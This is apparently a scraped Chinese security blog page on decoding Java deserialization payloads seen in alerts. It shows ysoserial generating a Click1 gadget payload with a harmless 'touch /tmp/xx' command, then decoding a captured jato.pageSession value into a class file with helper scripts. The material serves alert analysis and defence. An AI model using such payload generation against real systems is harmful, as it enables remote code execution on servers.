ADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAALine truncated
|
||||
Host: 10.162.147.159:9200
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Connection: keep-alive
|
||||
Content-Type: application/xml
|
||||
```
|
||||
|
||||
扣出其中`jato.pageSession` 参数的值,保存成`target.bin`
|
||||
|
||||

|
||||
|
||||
先处理替换和等号的问题
|
||||
|
||||
```bash
|
||||
cat target.bin | tr '_-' '/+' > target_lack_equal.bin
|
||||
./add_equal.sh target_lack_equal.bin > target_base64.bin
|
||||
```
|
||||
|
||||
这里的`add.equal.sh`简单修改一下,支持传入文件名字
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
if [ "$#" -ne 1 ]; then
|
||||
echo "Usage: $0 "
|
||||
exit 1
|
||||
fi
|
||||
|
||||
filename="$1"
|
||||
|
||||
if [ ! -f "$filename" ]; then
|
||||
echo "File '$filename' not found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
file_content=$(cat "$filename") # 读取文件内容
|
||||
|
||||
# 移除可能存在的换行符
|
||||
base64_string=$(echo -n "$file_content" | tr -d '\n')
|
||||
|
||||
# 计算base64编码字符串长度
|
||||
length=${#base64_string}
|
||||
|
||||
# 计算需要补充的等号数量
|
||||
remainder=$((length % 4))
|
||||
padding=$(((4 - remainder) % 4))
|
||||
|
||||
# 补充等号
|
||||
if ((padding &gt; 0)); then
|
||||
padding_string=$(printf '=%.0s' $(seq 1 $padding))
|
||||
base64_string="$base64_string$padding_string"
|
||||
fi
|
||||
|
||||
echo "$base64_string"
|
||||
```
|
||||
|
||||
然后处理base64和开头的`00`的问题
|
||||
|
||||
```bash
|
||||
cat target_base64.bin | base64 -d > target_00.bin
|
||||
tail -c +2 target_00.bin > restore.bin
|
||||
```
|
||||
|
||||
然后就是用zkar解析一波
|
||||
|
||||
```bash
|
||||
./zkar dump -f restore.bin > restore.txt
|
||||
```
|
||||
|
||||
将中间反序列化部分扣出来,保存成ser\_hex.txt
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
然后执行下面的脚本保存成class文件:
|
||||
|
||||
```bash
|
||||
import re
|
||||
import sys
|
||||
|
||||
def remove_hex_line(input_string):
|
||||
pattern = re.compile(r'[0-9a-fA-F]{8}')
|
||||
return re.sub(pattern, '', input_string)
|
||||
|
||||
def remove_vertical_line(input_string):
|
||||
pattern = re.compile(r'\|.*\|')
|
||||
return re.sub(pattern, '', input_string)
|
||||
|
||||
def extract_hex_to_file(input_filename, output_filename):
|
||||
with open(input_filename, "r") as file:
|
||||
input_text = file.read()
|
||||
|
||||
input_text = remove_hex_line(input_text)
|
||||
input_text = remove_vertical_line(input_text)
|
||||
hex_data = re.findall(r"[0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})*", input_text)
|
||||
hex_string = "".join(hex_data).replace(" ", "")
|
||||
|
||||
with open(output_filename, "wb") as file:
|
||||
file.write(bytes.fromhex(hex_string))
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 3:
|
||||
print("Usage: python3 extract_hex.py input_filename output_filename")
|
||||
sys.exit(1)
|
||||
|
||||
input_filename = sys.argv[1]
|
||||
output_filename = sys.argv[2]
|
||||
|
||||
extract_hex_to_file(input_filename, output_filename)
|
||||
```
|
||||
|
||||
```bash
|
||||
python3 extract_hex.py ser_hex.txt restore.class
|
||||
```
|
||||
|
||||
拿到class,然后丢到idea中,自己反编译了
|
||||
|
||||

|
||||
|
||||
0x05 后言
|
||||
-------
|
||||
|
||||
在分析的时候,发现 ysoserial 两次生成Payload会不一样的。。。卡了我好一会。。。
|
||||
|
||||

|
||||
|
||||
虽然分析没问题,但是步骤略微繁琐,后续有空,可以考虑整合成一个工具,自动解码。
|
||||
|
||||
</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>0x00 前言</h2>
|
||||
<p blockindex=1>小伙伴在分析告警的时候,发现反序列化告警,Payload类似<code>AKztAA</code>,不知道咋解,于是有了本文。</p>
|
||||
<h2 blockindex=2>0x01 文件头</h2>
|
||||
<p blockindex=3>开始之前,先来复习一些涉及到的一些文件头</p>
|
||||
<p blockindex=4>以<code>rO0AB</code>开头,java序列化base64编码的数据<br>
|
||||
以<code>aced</code>开头,java序列化的16进制<br>
|
||||
以上两个,都可以用 <a href=https://github.com/phith0n/zkar>https://github.com/phith0n/zkar</a> 和<a href=https://github.com/NickstaDB/SerializationDumper>https://github.com/NickstaDB/SerializationDumper</a> 去解析</p>
|
||||
<p blockindex=5>以<code>cafebabe</code>开头,java class文件的16进制,保存成class,拖到idea中反编译</p>
|
||||
<p blockindex=6>有了这些文件头信息,下面就可以开始用ysoserial.jar生成Payload了</p>
|
||||
<h2 blockindex=7>0x02 原始payload</h2>
|
||||
<p blockindex=8>生成Payload</p>
|
||||
<pre blockindex=9><code class="hljs language-bash">java -jar ysoserial.jar Click1 <span class=hljs-string>"touch /tmp/xx"</span> > raw_payload.bin
|
||||
</code></pre>
|
||||
<p blockindex=10><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=11>查看生成的Payload的十六进制</p>
|
||||
<pre blockindex=12><code class="hljs language-bash">hexdump -C raw_payload.bin
|
||||
</code></pre>
|
||||
<p blockindex=13><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA7cAAAEVCAYAAAA7LxLPAAAACXBIWXMAAAsTAAALEwEAmpwYAAAgAElEQVR4nOydd3hb1dnAf7qWZXnvvfeKYzuJs50dEjIgJIS9d4ACpVDookAphUJpgUJL4SuUHSCsQEJCJtl7OMNJ7Hjvvaeuvj+uJEteurIVJyH6PQ8PkXR8znvGPfe8533PexQhISFaziFhwX5ERwRTVVNPYXEFjc2t57I4ANzdnLGzs6O2rvGcl3WhYa26e7g7Y2+npKq2wUqS2bBhw4b1sM1R/SM4qLFTO9DV2Ajac/p6t2HDhg0bNi44FJ++9dyIvf1EIK9DwdE2gZpuxUgVa8OGDRs2bFxS2CHiY19MnPog/vaF51scGz8ztm2HrVuF8y2GDRs2bPTB7urFs54eqcIUgJcS4tVaurVQaVNwbdiwYcOGDaujRUGL6E5hZwKVXWH42xdhr+g8L7LU1sLx4+DqCg4O50UEG1YmLBRaWxWUlZ1vSWzYsGHDlBG13PYmp0PBlia781X8Jc+EyAimxMagBf69eSttXV0/i7IuRnls2LjUsD2DI4uDop0JLmvxsy8a0XILC+H9DwS8vKCuDu5fIeLp2fO7VgudnTal92JEo4EvvxQ4dfp8S2LDhg0bPSgt/QONKLJp20F8fdxJS44dVuExDlqqu0WOtV08ri0TIsJxUqnYeiYHcRjnmfrLJ97fn9GhIXg6O9Hc3k5BTS0HCwrP2aIv0teXidFRAPxvx06LyrlqTBqzExNNvnthzVqK6+qtXpal6EeTOEiacy2Pi4MDk2OiJTlEkermZsobGilv/HmeAx/Kc/HX5ctwUqnYczaPD3btPscSyiPYw4MYfz8clEq0opatp0/TqdFYlEdyUBCx/n54OTvRLYocKy7lRGkp7d3dFsvj5+rCuIgIgj09KK1vYH9+PhWNTbL//kIehyM5J5jD2d6eMRHhxAcEcLqigoP5BTR3mlo5BWB0aAiRvj54O7tQ39rKwcJCzlZVW1SWJflE+foQ4+cHwNGi4mH1W4dWza7mhcxyW4mrXd2Q87GUo1kCSQmwdJnIf98VOHYcMqdKvxUUwLerBZqaYNxYuOyywWZtG3qqa6CxAQIDwdFx4HTt7aBQDLxx0N4O1dXg4wNqteVy2NnBFVeIfLpSoGgYeyajU8DNHbZvH3oew2HiBOjqhgMHzk/51mR0ciRjRscQHOBDbX0Tu/ef5FBW7vkW66Jg+RWZrLh9seHz2x+s4ZMvt4xY+R+/9SQNjS2sePx12X/z9+fuJTzUn6W3Pisr/Qt/uIPwUH+uv+cvQxXzosBi5fbF19/n9Nlinnn8LqsIMN5ZpKhTQYPmwndRDnR3477pmTS2tbE99yyibtHrqFTy0Ng0ztY38PmpM0PKZ/m4sSzPGNsn7fGSUp759jur12W4eDo74+fmavKdo0p1nqTpYVxEOL++fB4Af1r9PVnFJedFjhAvT+6aNrXP9/vzC/jvtu1UN7ecB6nODQM9F+YI8nBHpVTi7eJ8jiWUxyNzZxsUQT1ZJSUWKxRPXbEQhaJnPluUOpoujYZ/b97KtjM5svMJ9/biD4sX4ebYs+pcNm4Mf179PbkyFapLaRwOlczYGO6bOR17O8mL6LJRSXSLIm9v/YnN2ZJJytHenl/Mnsm4yAiTvx0dGsJTX38ruyxL8nG0t+ex+Zfh4+ICwFtbfhr2pkSXVsXu5gXMcf8ExaDbf9bD11dk2zaBH9YJVFbC5Mk9v/20TSAqEpKTRT78SGDsOPD2GhGxLOLLVQLhESJj+76iR5Sqalj1uUB1rfRZoYCICFhypYiz0TR69ixs3yFQWCgprvfd27evN24S2LWr5/P48XDZXMvHhIMDLL1K5KOPBaot2+cxEB0jEhQI27efH0NH8iiR1hY4cODiMbT0RgH8csVSbr5mjsn399yygNlLn7wkA6xaSkFJJVt3HiU81I/0lBjcXEd2bRIe6k9dvfzNa4DgQB8iwwJkp4+KCCQ2KthS0S46zCq3oqilvrEJF2cnyiqqySuqYM60DBzVDmi1WpNF3FAQkM7g7m0ZPJ84Pz/mJSdKFhWtlj15+WzPPTussi1l4ahkFMD6E9l0GS3g7RTSxGInsy165+Pl5MTV48YA0NndTW5lFY4qe8J9fIbdvoOxOTub3KoqtFotDa1tFv3t6kNH2JObx8ToSOaNSj6nZVmCfoEKYC8M7PI+UvL0ZlxEOM4qFX/8ZvWIlXmuGei5uNhQKS3e6xuQxrZ2SuvrcXNUE+Thgb2dHTdNnmiRcnvDxPEGxba+tRUPJydcHBy4cdJEnh3mhteFMA7P1zPYm+smjMfezo4ujYa8qmoifLxRKZXcMHGCQbldlDraoJB2iyLZZeX4ubpiJ1i2GLYkn+snjjcottakQeNNWWckQSrz1pyPPhYQRRidIuLnB21tkkKlUsGpUwInTsKkiYMrfeMzIDsb9u+H5GRIiDf9vbUVamqkfLUXqOE25yw4uQgM7g907mlvg/BIuGyeiKsbZGUJ7NwJ27YLzJ8nybZlq8D27RASMrA19mgW7NoFUyZLit2xLIGdu8DXB9LTLZfL1RWWLZUU3ObmYVTQxpC5fE4GN18zh+aWNl58/TOyTxcRFx3M9Utn0q2x3GvoUmTvgVPsPXCKmVNTSU+JOd/inBP++tpnODsP4u7xM2HQ1dyu/cd4b+X3dHRK7mLuri7YKwU2/LSPDT/tw8FBxVWXT2P+zInDEiLGQWRvy+CLhOsyxhDl42P4PCo4yLAgAahsauZ0ZeWw5BgMLycnJkVF0tbVxZbT0oInwNmJ+ZHhKHULk1A3V24bJbnqVrS0sTYvX1Y+oV5eBiV23bETBhfNUC9PQowOJ9kLAkvHjSEjIgI/N1fqW9vILivjo917aGhrB8DFQcVvFy1AUCg4VlJKhLc30X6+dIsi3x/J4utDh7kyPZVJOndAAFGrJbusjOaOHje82YkJzEyMx8/VFUd7FU0d7RTW1PLpnn3k19RQ1dxMVXMzQe7ug7abnLIevWxOHyuwnr+uWUdta6tZeTIiI1g2Nh0PJyfD3949fSoNbW2IWi1/Xr2Gls5OWfIoBYFl48YwPjICX1dXqpqaOVBQwOd799MlSguIp69cjNpeSXlDIz4uLoR6e1HR0MhbW7aRW2U6Dt/eso0TZWU8Nv8ygj09SAwKJDkokJzKKv54xSIEQcHm7FOsO3aCK9NSmRQTRbdG5KmvvmHJmHTGR0Xi7KDCVa2muK6O9s4uYgP8qWho4OUf1tPZreGJBfNRKCC3sopoP18CPTworq3jv9t2GuSx1vgxpr/xLLdPe7N0TDrjoyIAOFlazv927jLb70OReSBWHz7CuqzjxAf6c/W4oZtoVrz/EfWtrYZl8AtXLyXK1wc3tRqlINAtml8gu6nVpIWGAnC4sIiX1q7j7dtvwUmlIjk4CC9nJ2pbLLtWbaBxeLy0bNjtvCX7NCkhQQA8t3oNzR0dhnLV9kqevlJy9Xryi69kPYOWPF8DMTMhzrDxti8vn1UHDhmeL4CNx7PZlJ2Nj85zYM/ZPF7bsIlbJ09iYWoK7o6OOCiVdGs0LBg9CoDiujqe/no1je3tCICTBQdF7RQK2fkkBAbI2jQcKnkdSbKU27IyyXW1oGDg93N1zeBKn0KBwaro2mtKWH61yD9eFTh1WmDB5SJGr/h+KS6GH9YJuLpAUTGMHi2d183OhpgYyYIJkrvzjp0CFRXQ3Q2enjAmXWTMGNP8sk/BsWMC+fkgCODvD1csFnF1heZm+HSlVO/OTjh2DIqLpc8xMTBjek+dCwslpbKyEpycYFSySGamVHc9x0/Arl0CixaJbN8uWVWVSpg7VyQxYfB66wkNhdDQnnLHjhHZuVPAWHeJjxNJTwN3d3j7bQFNP12zd6+AmxvMnCn9qFvisXevQHr60BR4X1/JgvvpSoHOIcYtS0uFjPEiri5wJgfWrhUwPs0RGiq1u6+vtNFy7Dhs2yb1iVoN110rUlICP27oGa9zZouEhsJnnwu06BxVpk6VNmyUSjhxQjJOGDN9mjQWV33Zk8+8y6T0368RCA6G+fNEmpohNASOHpU2fBISICcHvvlWMJTt5ga1dZAyCkQRso7BTz9Z30J8182XA/CXf3zKmg37AMjJKzX82xJuWDaThXPHs/LrrcyZMZa05Cja2zt5/7MNfPj5RubNHMc1S6YRHuqH2kFFaXkNW3dm8a93V+Pr48Erz97Dzn0neeP/+nq13HvrAqZNSuHG+16UJcvzv7ud0GBf8grLmTw+CY1GZMee47z4+md0dEgDdzB5RFHLtEkp3HvrAtZtPsD7KzcY8p4yIZn7b1/Ej1sP8t4nP8qSRwHcedN85s/OwN3NmcbGFtZvOch/3l+DVncky5w8ACqVkscfWE7mpFGo7O3ZczAbR7WKoR4YefaJm5k0PhmtqGX3/pO88OpKWtt73sOv/OlevNylCbizu4utO4+a/P0fH7+JyPAA9h06zbyZ4/Bwd+boibM89eIH1NZefFb/AZXbmroG3vn4WzRGM2NDk+mWXEdHJwUl5cMWwkkAtQLaBzmq59DLqqIAbp00weS71zZt5aAFBz/kLjQB5icnYicIbD5xkhbdm0DUaunUaNCNVcNngC6xfwtWf/mUNfScU52TlEB7Vyfrjp2gqLaOotqeof7wZXMYHxlh+Bzgbk+AuxvxAQH8auXndIsiDkp7wxmtKF9fk7KjfKWVQ7CHR5/fVEolGC0up8REE+fvb/jsYO8iLTK9PHnk45UGJc8ccsqK9vPFt/eqR4ejSgWtrWbl8XF27lOOt4sL3jrLh0qppKWzU5Y8D86eaeKeGurlSaiXJ8EeHrz0w3oA4gP8sRMEk7wifLy5Mn00r6zvmTz1lNTX8+3hw6yYOUOXpxcFNTXE+Et9dbJUeo4CPdx78lQLine truncated
|
||||
<p blockindex=14>显然,以<code>aced</code>开头,java序列化的16进制,使用<code>zkar解析</code></p>
|
||||
<pre blockindex=15><code class="hljs language-bash">./zkar dump -f raw_payload.bin > raw_payload_decode.txt
|
||||
</code></pre>
|
||||
<p blockindex=16>然后查看生成的文件,应该可以找到下图:</p>
|
||||
<p blockindex=17><img src="data:image/png;base64,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